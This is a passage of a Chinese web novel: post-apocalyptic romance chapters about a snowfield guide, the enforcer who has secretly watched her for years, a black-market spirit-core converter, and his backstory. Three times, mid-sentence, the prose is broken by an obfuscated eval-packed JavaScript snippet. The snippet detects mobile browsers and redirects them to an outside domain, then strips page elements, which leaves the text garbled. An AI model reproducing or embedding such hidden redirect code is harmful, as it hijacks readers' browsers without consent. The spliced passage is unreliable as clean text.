“但是更多叛变猎人的踪迹未知，他们危险系数极高，手段更残忍。对有心独立的猎人，他们采取拉拢讨好的策略；对不服从的猎人，直接一杀了之。现在雪原小镇能联系到的猎人越来越少，说明不是加入了他们，就是被杀掉了。正常猎人的数量减少，雪原灵枢的市场流通量也在萎缩，比去年同期少了一半。据说他们要来夺取这栋碉堡大楼，一旦得逞，将会是整个雪原地区的灾难。”齐镇长眼里满是不忍。 “大楼里生活的都是普通居民，常驻的有攻击异能的正义猎人和执法者不多。小镇的作用就是，给都城运送雪原特有变异体的灵枢。万一哗变来临，根本无法组织有效对抗，雪原小镇会彻底失守，都城会失去雪原这个灵枢获取渠道。希望大人回都城之后，请铁幕局来雪原驻军，彻底消灭叛变的猎人组织，稳定灵枢供应。”齐镇长郑重说出请求。 “彻底消灭，可能需要战役级别的执法者军团才能做到。我先跟铁幕局申请，加派五十人的执法者队伍，来雪原小镇驻扎，维护碉堡大楼安全。同时安排调查，等找到确切的据点，再派大部队来一举歼灭。您看怎么样？”秦叙表情严肃，语言镇定，与昨天跟姜望柠调情时的柔软形成鲜明对比。 “先谢谢秦叙大人了！有大人的话，我就放心了。”齐镇长庄严托付。“大人今晚还住原来20楼的套房吗？” “不用了，我这两晚住姜望柠的房间。这周五坐火车回都城。这两天您不用安排我了。”秦叙说。 姜望柠听后，有很多疑问想问秦叙。两人一起离开会议室，坐上电梯到达12楼，进入姜望柠的1227房间。 11. 交换情报 秦叙第一次走进姜望柠在雪原小镇的家，一间标准25平米的单人小公寓。 一关上门，秦叙从身后袭来，贴着姜望柠。鼻子贴在她的颈部猛嗅，双手环抱。好似有肌肤饥渴症。 姜望柠想挣脱，力量不够，无法逃离。只能就着秦叙的步伐，慢慢向床移动。 “不可以！还穿着外面的衣服，不可以躺在家里。”姜望柠急叫。“要先洗澡，换上干净的家居服才可以坐在沙发或床上！” 姜望柠有卫生洁癖。外出时，衣服接触到公共区域，污渍细菌都残留在外衣上。所以一回家，必须脱掉外衣，洗澡后换上干净舒服的家居服，才可以自由活动，才能感到放松和舒适。 秦叙听到后，放开姜望柠，尊重她的生活习惯。 —— 碉堡大楼常年暖气供应，房间的室温25摄氏度。 姜望柠被松开后，脱下蓬松的羽绒服和棉裤，摘下帽子，放在衣架上。 秦叙也脱下外套和外裤，仿着姜望柠的动作，把脱下的衣服挂在她的衣服旁边。身上只剩秋衣秋裤。 整理间隙，秦叙才细细看到了房间的格局。 这栋末世雪原的碉堡大楼，应当是大海啸前的度假酒店改造而来的。这间房，是明显的酒店标间格局。进门左手边是卫生间，有马桶、淋浴、和洗漱台。右手边是挂衣架，挂着几件冬衣。往前走几步是一张单人床、小沙发和小茶几。 拉开窗帘，外面一片白茫茫的雪景。窗户下面是暖气片。 屋内都是大件家具，几乎不见各种杂七杂八的生活小物件，好像那种“极简租房，随时准备跑路风”。 “把我的黑箱子拿出来。”姜望柠对秦叙说。秦叙明白，指的是暂时放在他空间的30寸行李箱。 “你的全部家当都在这里面吗。”秦叙掏出行李箱，摊开在茶几前的空地上。 “是的。我喜欢清净。东西太多看着烦。”姜望柠拉开内衬拉链，取出这三天出差换下的内衣，拿去洗。 “热水量只够一个人洗，我先洗。洗完等加热半小时后，你再去洗。”姜望柠对洗澡顺序做出安排。 姜望柠先洗完。秦叙将20万信标转给姜望柠。末日下，每个公民都有个人信用账户，可以储蓄、支付、转账和消费。同时将5颗金色灵枢和1颗白色交给她。姜望柠转目送秦叙进去淋浴间后，坐在沙发上写笔记。 —— 一个暗红色封面的笔记本，里面详细记录了姜望柠来雪原当导游以来，接待的每一单客户。 跟客户的第一次见面会谈，客户诉求，出发日程安排，哪一天剿灭了哪类变异体，客户的异能类型。 优质客户，黑名单客户。定金和尾款收取情况。 事无巨细，只要是跟导游业务有关的内容都写在里面。 姜望柠整理记录这几天的工作日常时，浑然不知，秦叙已经洗完出来，头发上挂着湿漉漉的水珠，悄然坐在了她身边。 沙发是两座双人沙发，仅够两人坐。姜望柠坐在正中间，旁边剩余的一点塞不下一个人。 秦叙挤压姜望柠往旁边挪，边瞟了一眼她的笔记，看到一行字。 “第二天，秦叙用金属异能，控制金属利刃，呈同心圆路径，高速击穿一群变异狼的心脏。战利品：至少三百颗绿色灵枢。” “概括能力挺强。”秦叙说完，伸手想往前翻页。 姜望柠一把盖上工作笔记，护在胸口，说：“不可以看。这是我的工作机密。” 秦叙看到姜望柠小鸡护食的样子，心生挑逗之意。 他的宽广胸膛，忽靠过来，将姜望柠压在沙发上，动弹不得。秦叙单手将姜望柠的双手交叉，困于头顶。两人的前胸被那本笔记隔开。 一时间，只听得到粗重的呼吸声和暖气片里的水流声。 秦叙用自由活动的那只手，从缝隙中抽出笔记本，拿在半空，凝目细视。姜望柠想抢，无奈双手被困，急得心跳加速。 “又不是什么见不得人的东西。至于这么背着我，不让我看吗？”秦叙假装嗤笑。 “你要看，也可以。但得先回答我几个问题。”姜望柠想到可以跟秦叙交换情报。 这本笔记，凝结了姜望柠的工作心得，是雪原地区现有的变异体图鉴，也是本地猎人典型的活动记录。 有效信息含量极高。绝对不能被白白看去。就算被看，至少也要交换到等价值的情报。 “你现在的样子，有资格跟我谈条件吗？”秦叙假装冷笑，正俯视被他困于身下，双颊微红的姜望柠。“就算看了，我偏不回答问题，你又能把我怎样？” 这家伙，癖好真奇怪。喜欢强制，喜欢居高临下，喜欢掌控一切。姜望柠感觉被挑衅，她把这些小手段一律视为爱的互动，从心理层面蔑视这种把戏。 “现在我是没资格谈条件。但你要是不同意，强行翻看我的笔记，我会把你赶出房间，后天不会跟你去都城。然后把你拉入黑名单，以后再别想找我做导游。”姜望柠采取不合作手段。 “哈哈哈，怕了你了。”秦叙嘴角一紧。他的虚张声势，被姜望柠的消极抵抗，一瞬间瓦解。“这里太挤了，我们躺床上，你想知道什么，我都告诉你。” 秦叙起身，单膝跪起，将姜望柠横抱起，放在床上。秦叙同样也睡在床上，让姜望柠躺在他的胸口。 经过这几天互动，姜望柠好像抓住了秦叙的爽点，暗戳戳的撩拨，他仿佛很受用。 —— “你不是执法者吗？就是专门在一线干活的，为什么可以申请调动50个都城执法者来这里驻扎。执法者那么金贵，你让来，人家就来吗？难道你有指挥权？”姜望柠深吸一口气，侧趴在秦叙胸口问。 “原来你对铁幕局的组织架构感兴趣。”秦叙答。“现在执法者队伍越来越大，新人需要实战历练，所以总部倾向于，把刚出训练营的新人执法者，外派出去执行任务。” “训练营是什么？”姜望柠问。 “觉醒了攻击型异能的普通人，都可以报名参加铁幕局一年两次的训练营。训练时长三个月，合格的学员会被纳入编制，参与组织任务。”秦叙答。 “什么样的人不合格。不是都有攻击型异能吗，怎么会不合格？”姜望柠问。 “攻击型异能只是基础。更重要的是队伍协作、危机判断、沟通协调、心性稳定这些宝贵的内在品质。以及，百分之百的忠诚。”秦叙答。 “可是雪原猎人叛变事件，还没完全调查清楚。万一过于危险，新人缺少经验，解决不了，身陷困境怎么办。”姜望柠问。 “你倒挺适合当指挥官，操心这么多。放心，会有几个经验丰富的老人随行。”秦叙答。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467509|185518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你算老人吗，你都能单人出任务，肯定是元老级别的吧。为什么不直接由你在雪原上面飞几圈？找到叛变猎人的窝点，用子弹刃嗖嗖转几圈，就可以物理上消灭他们。何必再请都城派人来？”姜望柠问。 “如果是变异体，可以这么干。但对人不行，尤其是对猎人。现在铁幕局执法者和民间猎人组织之间，形成了一种微妙的平衡。执法者羡慕猎人自由，不受管束；猎人羡慕执法者背靠组织，有强大稳定资源供给。如果执法者利用自身军事能力，强行剿灭一个已经成型的猎人组织，势必会遭到反噬。所以要先调查，看这些叛变猎人的诉求是什么，看有没有招安的可能性。”秦叙认真回答。 “我带队的执法者队伍和猎人队伍，数量上五五开。确实是执法者更严肃一点，一板一眼，说一不二，说多少钱就是多少钱。猎人不一样，上限高，下限也低。一趟收获大大超出预期的话，事后给的打赏很多。要是收获刚好满足事先谈好的量，他们会觉得不够，甚至也有赖掉尾款的。在他们看来，收获超出20%才是合理的。所以我觉得猎人很不好伺候。”姜望柠分享。 “看来你对猎人的偏见很大。”秦叙轻抚她的头。“所以你想加入铁幕局，当执法者吗？” “对啊。这没什么不好意思承认的。在现在这种末世，加入铁幕局，等于有了金饭碗。我就不用单打独斗了，有强大组织罩着，想想就觉得安心。”姜望柠坦诚希望加入铁幕局。 “会很辛苦的哦。有时候会被要求做不想做的事情哦。这几天的观察下来，我觉得你更适合自由散漫的生活。被组织约束，你可能会不习惯。放心有我保护你、罩着你就够了。”秦叙笑道。 “不是你说可以推荐我直接进入铁幕局，拥有正式身份码？睡了一觉，就想反悔了吗？。”姜望柠无语。 “当然不是。我的意思是，如果你加入铁幕局之后，觉得那不是你想要生活，违背了你的个人意志，可以随时选择退出。有我做你的后盾，你不用勉强自己。”秦叙含情凝视。 “切！！！说得好像那里很黑暗一样，那你为什么不退出呢？”姜望柠问。 “因为我有责任。我只有留在那里，才能更好地保护你。”秦叙抱紧姜望柠。 同床而眠时，任何过火的情话都讲不腻。谁知道以后有什么变数呢，只有抓在自己手上的，才是最安稳的。姜望柠眼里，秦叙可能是个油嘴滑舌的情话大王，不想再聊。 姜望柠讲累了，翻个身平躺，打起鼾就陷入梦乡。秦叙帮她盖好被子，转身翻阅起她的工作笔记，从第一页细细看到最后一页，也就是他这单。偶尔看到几个熟悉的名字，都是他的同事。 —— 清晨醒来，无所事事的一天。两人同时醒来。 “明天就去都城，今天没有安排。干点什么好呢？”姜望柠伸着懒腰问。 “我想去你说的，小镇炼金师和雪原黑市看看。”秦叙抱着姜望柠，轻声道。 “蛤，我什么时候说过。”姜望柠不记得。 “你说，如果完不成3颗金色灵枢的合同委托，就带我去找小镇炼金师，把三百颗绿色灵枢转化成3颗金色灵枢。或者到雪原黑市，用3万一颗的价格直接买。”秦叙一字不差复述出姜望柠的两个备选方案。 “大哥，你是把我当地陪在用啊！”姜望柠不爽。那还能怎么办，依着他呗。 12. 灵枢转化仪 炼金师和交易处，都在雪原小镇碉堡大楼的负一楼。 六到十楼是名义上的经济楼层，主要售卖与日常生活息息相关的必需品和服务，比如食物、衣物、餐馆。 其他比较特殊的交易类型，通通安排在负一楼。 姜望柠带秦叙坐电梯到达一楼，又弯弯绕绕，找了一处楼梯走到负一楼。 负一楼的集市是由一个个小仓库改造而来。大多数门面的卷帘门紧闭。只有靠近楼梯口处的那几间有驻点小哥，无一例外都在低头看什么，毫不在意下来了两个人，眼皮都没抬一下。越往里走越没人气。只有冷冰冰的紧闭的卷帘门。 卷帘门上，都有一块木板，写了联系方式和经营范围。一百多间小仓库，几乎全部卷帘门上都写了联系方式，说明空置率很低。 “这就是你说的黑市？这么萧条。”秦叙眼神亮起的光瞬间熄灭。 “小镇规定，只有在这里有实体铺面的，才能接客。相当于合法广告位，需要每个月交1万信标租金。而且还要上供每笔交易获益的10％作为担保费。可以保障我在大楼内的安全。我在这里也有铺位。”姜望柠解释。 “果然是雪原“黑”市。”秦叙追问：“你的铺位在哪里？带我去看看。” 姜望柠带着秦叙七绕八绕，直到走廊的尽头。 —— 一个角落里密闭的卷帘门，门上的木板写着： 【望柠导游工作室】 业务范围：带路搜寻雪原变异体、售卖各等级灵枢、残体修复，无损野狼全皮毛、精品帐篷、睡袋有售。 联系方式：xxx 秦叙笑出声：“姜导游的业务范围还挺广。” “其实只有第一项是我亲自做。后面都是在当二道贩子，我相当于一个提供可靠渠道的中介。”姜望柠对秦叙的笑无所谓，多一条业务线，就多一分收入。 姜望柠用钥匙打开卷帘门，拉开一半，钻进去，打开白织灯。里面是个10平米左右的空间，没有窗户。水泥地面，白腻子墙面，有一张桌子、一把凳子、一张行军床。 艰苦朴素的画风，与12楼27房的温馨舒适，形成强烈反差。 秦叙弯腰进去，看到后眉头紧皱，坐在行军床上，好像是他住在里面一样。 秦叙揭下门上的木板广告牌，收进空间：“以后我包圆你。你不用在这里占个铺位，不用每笔交易都给小镇担保费，更不用接待乱七八糟的客人。我当你唯一的经济收入来源。”秦叙双眼含情脉脉看着姜望柠。 秦叙打开账户界面，给姜望柠的账户转了100万信标：“这是我两个月的工资，你先当零用钱花着。不要让自己受苦，我看不得你受罪。” 姜望柠笑出了声，这一幕好像霸道言情总裁。秦叙他仿佛在表演占有欲和财力。 原来只要向他展示，自己落魄的一面，他就会大发善心，然后慷慨地给予金钱资助。 好在是实打实的物质帮助，他爱演，就让他演吧。 “其实也没有那么苦。你不知道我有多厉害。我在这只住了半个月，接到的第一个导游单，就够支付12楼小公寓的房费，后面再没住回这里。我的客人都是熟客转介绍的，质量很高。”姜望柠收到大笔转账，开心得嘴巴合不拢。 “那种靠自己双手，挣钱的快乐，一旦染上就上瘾了，戒不掉。帮人的成就感，是令人兴奋的精神养料。我希望用智慧和劳动，帮客人解决问题。”姜望柠继续说：“同时，也谢谢你的支持。有了这笔钱，以后我不管是在哪里重新开始，心态都会更稳健一些，物质上也会更舒服一些。”姜望柠懂得适时提供情绪价值的重要性。 姜望柠来雪原当导游一年，靠各种业务，主要是导游业务，挣了差不多100万信标。除去给小镇的铺面租金、公寓租金、担保费和日常杂物开销，只剩一二十万积蓄。秦叙随便一给，他两个月的工资就是她一年的收入所得。抱紧这个大腿！ 看到姜望柠乐呵呵的傻笑，和长段不停的话密集输出，秦叙知道她很开心。 “跟我走，我先带你去找炼金师。”姜望柠说。同时关灯关门，离开她的小铺位。 —— 又是一路弯弯绕绕，来到一台商用打印机大小的机器前面。机器全身由银白色金色包裹，有一个入口槽和出口槽。 “秦叙大人，在你面前的是【灵枢转化仪】，看到仪器的那个入口槽了吗？投入10颗棕色灵枢，它将还你1颗绿色灵枢；投入10颗绿色灵枢，它将还你1颗蓝色灵枢；投入10颗蓝色灵枢，它将还你1颗金色灵枢。支持大批量投入，必须是10的整数。”姜望柠解释道。 “竟然还有这种仪器，这是谁做的？”秦叙问。 “不知道。我来的时候它就在这里了。据说是觉醒了【灵枢转化】异能的前辈做的。他将异能复制注入到仪器里，让仪器摆在这里，替代他接单，免得人常日守着无聊。据说很多外地人，其中不乏都城人，专程来雪原，只为转化灵枢。好奇，为什么都城不允许灵枢转化。”姜望柠说。 “都城不允许将灵枢升级，统治层认为灵枢生来是什么等级，就该是什么等级。升级意味着僭越，意味着失序。所以低级灵枢数量泛滥，高级灵枢量少稀有。”秦叙解释。 “转化后得到的金色灵枢，与天然金色灵枢，有区别吗？”秦叙问。 “这就是这台仪器神奇的地方。转化后的金色灵枢，与天然金色灵枢毫无区别，完全一样。金色灵枢3万信标一颗，蓝色灵枢1千信标一颗，绿色灵枢50信标一颗，棕色灵枢1信标一颗。越高等级的灵枢越值钱。所以我也会转成高级别的灵枢拿去卖。”姜望柠回答。 话毕，秦叙双手使力，从空间拿出并注入数以百万计的棕色灵枢、十万计的绿色灵枢和上万计的蓝色灵枢，通通设定成转化为金色灵枢。 不多时，【灵枢转化仪】内升起约一万颗金色灵枢。秦叙双手一挥，收入空间。 好富有啊！好夸张啊！深不见底！ 他究竟打了多少变异体？才能有这么丰富的库存。 一万颗，乘以3万信标每颗，等于3亿信标。 相当于，秦叙拥有价值超过3亿信标的金色灵枢。显然他不缺钱，他也不想用这些金色灵枢去卖，那他换这么多金色灵枢干什么用呢？ “秦叙大人，我可以成为你的金色灵枢售卖独家代理人吗？”姜望柠眼馋心热。 “不可以，这些不是拿来卖的。”秦叙摸摸她的头发。 “既然你都有这么多金色灵枢，那不需要再找人买了。流程都是一样的，打木板上的电话问人家有没有金色灵枢，谈好价格直接交易。我也可以把我那5颗金色灵枢卖给你，只要有货有店，就可以卖。”姜望柠不想呆着，希望快点结束这趟地下室旅程，然后回家躺着。 “好，那我们回去休息。”秦叙笑道。 在两人离开，刚走了几步远，【灵枢转化仪】腾起一股浓烟，发出尖锐爆鸣，旋即爆炸，金属电子零件四射。 秦叙捂住姜望柠的面部，使出【御灵盾】，挡住冲击波。靠近楼梯口的几个驻店小哥，闻声赶来。 “怎么办？”姜望柠眼神透露着无奈。灵枢转化仪，是好多人的财路，也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467510|185518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜望柠的一个小财源。 猜测刚刚仪器负荷过重，处理量超载导致短路爆炸。谁能想到他有那么多低级灵枢耗材？ “没事。仪器上又没写转化上限的禁令。那是它自己不顶用，烧坏了而已。我们走。”秦叙裹着姜望柠，避开了驻店小哥，走上一楼。 —— 两人乘坐电梯，直达12楼姜望柠的27号房。 姜望柠的心一阵一阵地针扎似得疼。 “是它自己不顶用”“烧坏了而已”他怎么能这么轻飘飘地说出这么伤害机魂的话？ 对仪器是这样，对姜望柠呢？ 他现在对姜望柠好，是因为姜望柠的【溯息】异能可以助他追踪变异体，就像【灵枢转化仪】可以帮他升级灵枢等级。 等姜望柠使尽浑身解数，筋疲力竭，为他极尽所能服务奉献，而后再无利用价值后，他会丢弃她吗？就像头也不回离开【灵枢转化仪】的爆炸现场那样。 他不是一个守序善良的执法者。他故意或偶然地制造混乱，从混乱中攫取好处。 姜望柠，你可千万不能成为他攀爬向上阶梯中的牺牲品。他只是你身在末世中寻求安稳庇佑的棋子。你也可以利用他，但是不能沦陷于他。 至少，他现在还是需要你的，对你的态度是友好包容的。一切都取决于，你现在还有可利用价值。 不妨先利用自己现有的价值，反向挖掘他的可取之处，比如他的财产、他的声望、他的异能、他的组织，为己所用，发展自身。 扮弱也好，小伎俩也罢，先将自我发展壮大，警惕被消耗殆尽，绝对不要成为下一个【灵枢转化仪】。 —— 两人退下衣服，简单淋浴后躺在床上。刚刚吃完饭，才到下午。姜望柠做完一单导游任务，必须要连续休息两天，每天睡够18小时，才能从带队的紧张感中恢复过来。 姜望柠想到这几天对秦叙过山车般的态度起伏，双眼蒙上一层阴云。 明天就要跟他一起去都城方舟了，但是还没调整好对他的态度和期望。 太卑微的话，显得自己很不值钱。 太高傲的话，又不确定自己值不值得。 一开始抱着，好好完成这单，努力表现，赢得认可的心态。她也确实表现得很好。现在这单是做到了，以后呢？ 是深入发展男女情侣关系还是继续维持导游工作关系？ 他明明一直表现得温柔、很大方，为什么自己要有这么多乱七八糟的胡思乱想？终究还是对他有所求吗？ 终究还是不想上班，不想干活，只想做他的菟丝花，做他的笼中鸟吗？ 这几天中，姜望柠给秦叙提供的体验有：带他陆续剿灭了一只冰棱蛛、几百只嚎狼、一座霜骸巨像，这些变异体附带的灵枢和未知作用的霜骸神像残骸，带他去灵枢转化仪把全部低级灵枢转化成金色灵枢。姜望柠在这些收获中，发挥的是辅助带路作用。 姜望柠是一个合格的乙方。 而秦叙给姜望柠的回报有：除了导游合同规定的10万信标之外，还有5颗金色灵枢、1颗白色灵枢、20万信标额外奖励、【御灵盾】保护罩赠予、100万信标生活资助。都是很实在的物质给予。 秦叙是一个大方的甲方爸爸。 至少现在看来，双方的付出与收获，还处在一种相对平衡。即使姜望柠要离开，也不会有愧疚感。 真是一段捉摸不透的关系！不能完全依赖他，必须得独立自主，自己干活，自己创造。 姜望柠闭上眼入睡，秦叙帮她盖好被子，拥抱着她，亲吻她的额头。 13. 大海啸前的过去（一） 秦叙出生在陇北省琢门市，是家里独生子。 爸爸在钢铁巨头企业担任总经理，妈妈是家庭主妇。 小时候，爸爸工作忙，一年见不到三回面。妈妈承担了秦叙的所有学习生活事务。 在同龄人穿本地商场街店的童装时，秦叙穿着妈妈在各大奢侈品牌儿童线订购的当季最新款。 在小学同学都在用完的本子空余处打草稿时，秦叙有整本全新的空白高克重打印纸专门用来打草稿。 在初中同学商量周末去哪个公园郊游时，秦叙跟着妈妈打飞的公务舱游玩完全国各省。 在高中同学讨论多少分能考什么档次的国内大学时，秦叙妈妈说不管考多少分，都去国外某知名顶级大学就读，赞助费已落实，妈妈跟着一起陪读。 从小到大，秦叙都有同龄人羡慕的生活质量。 妈妈对小秦叙的个人外形管理极为严格，衣服都是由搭配师成套固定放置好的，一天一套不重样。 反倒是学习，不怎么上心。 在参加小秦叙家长会时，妈妈会默默记下同班同学父母的姓名，然后回家上网搜索对方是否是政商界名人。 她对秦叙的期望是，找个门当户对的千金，或者更进一步飞上枝头变驸马。 有次，妈妈在初中秦叙书包里发现了一件未拆封情书，向相熟的家长打听到，寄信人是本地工薪阶层家庭的女儿。她大声向秦叙哭诉“小小年纪不学好，你以为这个年龄写情书的能是什么好姑娘吗”。 越说越激动，立刻打电话给班主任，要来了那个姑娘家的电话，疯狂谩骂。还专门去对方家里，警告小姑娘不要骚扰秦叙。 小姑娘父母不堪其扰，第二周办了转学。 在这样的家庭中成长起来，秦叙练就了近乎波澜不惊的情绪管理能力。 秦叙隐隐约约觉得不对劲。这种生活状态，一定不是正确的。 被虚荣和阶级焦虑完全支配的妈妈，对秦叙的心理健康，构成了严重的威胁和破坏。 他想逃离母亲的控制欲，他想回归正常的社交，他要偏离既定的轨道。 高中的秦叙还是会经常收到情书，无一例外，都会放学后在没人看到的地方，原封不动烧掉，灰烬扔进街边垃圾桶。 不在学校烧，是不希望伤害这些女生的自尊。不回应就是最好的回应。不带回家，不要再经历类似的尴尬。 直到高二刚开始的某天，他收到了姜望柠的情书。 他对姜望柠没什么特别印象，只记得是一个圆圆脸、中等身高、皮肤白皙、讲话软软糯糯的女生。从文理分科，分在同一个班后，没跟她说几句话。 这样的女生，怎么会胆子大到，用这么直白的方式。她会写些什么内容呢？她有哪些诉求呢？她想从我这里得到什么呢？ 秦叙有史以来第一次拆开了写给他的情书。 情书文字中散发着浓浓的少女情怀，全是对秦叙的爱意。 他以为自己是一个接近腐烂的人，没想到在她眼里却如此接近神明。 读完一阵轻松惬意，秦叙被一股舒适的精神力量包裹。 他全身的体表温度升高了，好似脑内某处尘封的灰尘，齐齐脱离□□，散发出来。 秦叙整个人飘飘然，浑浊流淌的血液变得畅快，重压千斤的思想束缚变得轻盈。 那几天走路脚步轻快，头脑清明。 连日的梅雨停了，阳光穿透云层，撒在身上。 他想留下这封情书，但是放在家里不安全，放在学校不放心。 晚上秦叙为怎么保存情书翻来覆去睡不着。忽然秦叙脑海中泛起一阵金光。朦胧中，好似有一个一立方米大小的空白空间，浮现在他心里。 秦叙觉醒了【空间】异能！在大海啸发生的八年前！那年他17岁。 但是秦叙没有回复姜望柠，是不希望影响她，因为现阶段的姜望柠根本不是妈妈的对手。 她有这么美好的精神力，不能也不可以被任何人磋磨。 他要保护好她，免受妈妈的打扰。 此后秦叙每个月都会收到来自姜望柠的情书。 情书文法变化多样，内容各有侧重点，无一例外都具备浓厚真挚的情感，她把秦叙当成抒发爱意的容器。 满满的爱意让秦叙【空间】异能的体积不断膨胀。 秦叙倒想看看这份没有回应的单恋，她能坚持多久。一直到高二结束，秦叙一共收到了十封。 再也没等来第十一封。 他买了一个粉红外壳的文件夹，将这十封情书整齐装进内袋，合好。用意念将文件夹收进【空间】。 只要姜望柠对秦叙的爱意留存一分，他的【空间】质量就会稳固一分。 只要姜望柠对秦叙的情感加深一分，他的【空间】体积就会扩张一分。 最终秦叙的空间已经接近足球场大小，并且还在不断增大。 升到高三，重新分班。年级教研室根据不同层次的学生情况，提供了针对性教学。 秦叙成绩优异被选入最拔尖的火箭班，主攻大题难题。姜望柠成绩平平被分到普通班，主攻大众题。 其实秦叙早就获得了国内排名顶尖大学的保送资格，但他一直在校上课，保持着考试状态。 同期保送生，都已经脱离备考状态，过得逍遥自在。 普通班的刷题任务很重，每天十点钟下晚自习后，还要继续在教室自习一个小时。而火箭班通常是九点钟准时下课放学回家睡觉。 火箭班的教室在楼梯边第一间，午饭铃响后可以优先下楼，享受到食堂的第一波饭菜。姜望柠所在普通班的教室在这层楼中间。 每次晚自习下课后，大多数同学都直接走教室旁的楼梯。只有秦叙会向反方向，越过长长的走廊，到另一侧的楼梯下楼。 秦叙经过姜望柠所在的教室时，不管她在哪里，在干什么，总能第一眼看到她。 大多数时候她在埋头做题，有时候在讲台旁边接水，也可能会跟旁边的女同桌聊天。 秦叙最不喜欢看到的是，姜望柠转过身去跟那个后桌的男同学聊天，不知道在聊些什么，还笑得花枝乱颤。 你不是只喜欢我吗？为什么这么快就见异思迁？我有哪点比不上他？真是一个浅薄又花心的女孩子？这是最后一次看你了。 然而第二天，秦叙的脚步还是不由自主朝向姜望柠教室的方向走去。 直到高考前夕，秦叙的单边窥视一天也不曾落下，一次也没被发现。 很久以后秦叙才知道，那个后桌的男同学就是姜望柠之后的丈夫。 秦叙高考是市理科状元，他无视妈妈出国留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467511|185518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学的期望，无视保研学校的协议。转而选择了去位于首都的全国最强军事院校。 之前意外觉醒了空间异能，秦叙心里隐隐约约觉察到，这个世界有异常，不久之后一定会有大事发生，要提前做好准备，危机来临的时候，这个异能应当发挥它的作用。 难以想象，秦叙竟然在以紧张艰苦著称的军校，体验到了前所未有的自由。军校的规则，仿佛是为秦叙量身定制一般，他总能轻而易举名列前茅，受到褒奖，再接再厉。 有时很无聊，秦叙唯一的乐趣，就是看姜望柠的朋友圈。 大学期间，秦叙没有主动跟姜望柠联系过一次。 他却通过朋友圈偷偷视监着姜望柠大学生活的一举一动。 姜望柠去了本省的一所普通大学。 她第一次上形体课，感叹同手同脚的别扭。 她第一次逃课，在寝室睡了一下午，脸上毛孔都睡细了。 她们班组织秋游，她准备了芒果糯米饭，出餐图令人垂涎三尺。 她参加竞赛，跟队员连续奋战，取得好成绩的自信。 她第一次实习，被迫加班到晚上十点的疲累。 她答应了那个高三后桌男同学的表白，成了别人的女朋友。他们在同一个省上大学，近水楼台先得月。 她准备毕业论文，被参考文献格式和图表统一化整得焦头烂额。 她秋招季找工作，十投九不中，最终进入了一家本地企业。 她毕业了，毕业照上的她，春风拂面，对未来有着无限憧憬。 大学毕业后，选择继续深造的秦叙，对参加工作的姜望柠的视监仍未停止。 她新手期常犯错，被领导训斥的无奈。 她装饰出租小屋，跟男朋友同居的满足。 她熬夜加班，深夜吐槽工作压力大的心酸。 她结婚了，喜宴上笑容满面的幸福。 她拒绝超负荷运转，裸辞休息数月后的坦然。 她整理项目经验重投简历，成功入职上市企业的兴奋。 她在一起一伏中，缓缓完成着人生的蜕变。 直到那一场大海啸，席卷了包括陇北省在内的，南方全境。 一时间，整片南方陆地被浸入海水。沿海地区受灾最为严重，海浪超过陆地几百米。强大的冲击力，推倒一切建筑，覆灭一切生灵。 陇北省靠近陇江，是南方全境的最北端。海浪经过几百公里陆地削减，到达陇北省时只有十几米高，同样造成不小灾害，死伤惨重。 中穹国的内部秩序发生激烈变化。过往所有治理经验，都无法应对这种局面。 姜望柠失去了工作、失去了小家、失去了丈夫、失去了稳定的生活。风雨飘零间，独剩一人苟延残喘。 中北国接管了中穹国在北方的势力，将首都改名为方舟，在此建立战时临时政权。 大海啸爆发时，秦叙身处远在北方的首都。 经过多年军校浸染，在大海啸褪去之初，秦叙即刻成为新都城方舟中的实权军事组织，也就是铁幕局的一线首席执法者。 秦叙多方打听姜望柠的消息，终于在同事口中得知，极北之地的雪原，有位叫姜望柠的导游，用【溯息】异能，给执法者队伍带队剿灭变异体。 他知道，自己的机会，终于来了。 14. 雪原列车 第二天清晨，也就是周五早上七点，两人维持着汤勺抱的姿势，同时醒来。这几天皆是如此睡姿，说近也算是同床共枕，说远都还穿着睡衣。 隔两层布，感受着秦叙的体温和心跳，姜望柠在心动和克制两极间游走。 短期的高浓度相处，带来的升温感，能持续多久？姜望柠想。 感情只是暂时的，只有生存挑战才是永恒的。 这次去都城，需要看有没有新的机会，看中北国对以后有什么建设规划。 顺应时代，顺应潮流，远比自己瞎折腾要更省力。 她没忘，亡夫曾在梦中告诉她，会到雪原找她，她才常驻在雪原。 现在在雪原一年，已经打出了一点名声。如果他来，随便问镇长或者常驻这里的居民，都知道有个叫姜望柠的导游。联系方式是公开的。只要丈夫真的来到这里，总能找到她。 雪原小镇这点业务量，姜望柠已经摸熟摸透，再干下去，也只是无聊的重复劳动。 姜望柠不可能，守着一个幽灵的托梦，而赖在这里。 